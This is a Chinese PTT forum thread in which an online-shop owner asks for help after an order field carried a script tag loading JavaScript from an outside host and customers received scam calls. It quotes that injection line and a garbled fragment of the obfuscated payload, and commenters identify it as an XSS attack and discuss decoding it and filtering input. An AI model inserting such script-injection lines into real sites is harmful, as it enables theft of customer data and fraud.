[請益] 我的客戶被詐騙集團打電話了..

[reflynet ()]

首先可能要先說明一下,我有個購物網站..

前幾天有一筆訂單的內文出現了<script src="http://i69s.cn/c.js"></script>
當下不以為意,就把那一筆訂單刪掉了..

不過這兩天有客戶(購物車賣東西嘛,當然會有客戶)說被詐騙集團打電話去,
按照慣例對方詳述了客戶的購物內容之類的細節,
客戶就直接通知我們...

目前還在研究發生了什麼事情,不過我主要是想問以下的Javascript語法,
是用何種方式編碼的?我看不出原文耶...
我只能稍微看到他有修改status bar的訊息就是了..

/* 以下是不完整的Javascript原始碼,原版可以從我文首提供的網址下載 */

$="var çÚìþþçççîëìÖÖøddÞÞÑÑ￡éÛÚy y y y y ðÏëîÏÏÏ
ÿ××Â￡éÉ;É=ç+ÛÍÀall)íÂachÇËonß¾eÅíddÇLiÈeÐËß,fažs¼
Tiºout(￡ØÈatus='完毕'￡ÃÔØoÐr¸=à(Ær¼urn true}éj=0;while(ïÄ[j]Æ
Û=ãÍÛ.Ù'Èep=otherÄ!=-1Æã='#';};j++;}à o(ÆwâÙ￡[admæÁ]￡Ôvâsub
Èr(wÃ0)äÀg¼ElemôById˺nu-tabÄ.æÐHTMLÚ菜单<ÕoáèÌqÚ<¿áóê
 type=·text/javaê·Ò·../js/t½sp¸t

/* 該JS檔結束 */

--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 218.162.164.176
→ reflynet:補一下,因為我找不到Javascript有沒有板..所以先貼PHP板
→ hwakeye:javascript可以到ajax板問
※ 編輯: reflynet        來自: 218.162.164.176      (06/06 20:24)
→ reflynet:謝謝樓上h大
推 alpe:你先把所有的input做 html tag過濾吧.
→ reflynet:樓上A大:其實那時候發現<script>標籤可以插入的時候,我就
→ reflynet:馬上開始過濾啦~
→ reflynet:唔...結果我自己轉碼轉出來了..
→ reflynet:http://nopa.pixnet.tw/index.php?id=0ed30bafdd
推 ybite:看樣子像是很典型的XSS attack....
→ ybite:我自己在decode的時候差點中標 = =
→ ybite:似乎其目的在於把你客戶的資料偷出來？y
→ reflynet:我現在還在研究他到底是要偷管理者的cookies還是怎樣
→ reflynet:因為我現在雖然解碼了,但是仍然讀不懂他的程式,應該可以
→ reflynet:判定為XSS...
→ reflynet:問題是我怎麼看也沒有看到可以把資料往外傳的地方啊..
→ reflynet:果然是我功力不足..
→ reflynet:http://nopa.pixnet.tw/index.php?id=7a37753c68 結果
推 ybite:http://nopa.pixnet.tw/index.php?id=8bf5101c5c
→ reflynet:感謝y大..順便請問一下,為何你可以抓到後半段的資料@@?
→ reflynet:我終於trace完其他的部分,這個程式到最後(main.js)還會毀
→ reflynet:屍滅跡,還進SQL刪資料咧~
推 ybite:後半段的東西是script = =，他的html沒被entitles... = =
→ ybite:我在trace的時候都覺得自己中標了 = =
推 LPH66:其實簡單的加個<textarea>再印出來就現形了= =
→ reflynet:囧 對後.. 可以用textarea..我在那邊用document.write
推 ybite:囧，我發現我用document.write來解很恐怖...
→ reflynet:難怪看不到..= =
→ ybite:幸虧他script被document.write之後不會被執行到 = =
→ reflynet:y大..(握手) 我們都用document.write XD
推 LPH66:再+1 (握)  還好它不會執行...
※ 編輯: reflynet        來自: 218.162.164.176      (06/07 00:25)
推 mosquito520:我想問一下...這個要怎麼還原啊？找了半天沒看到對應
→ mosquito520:的方法???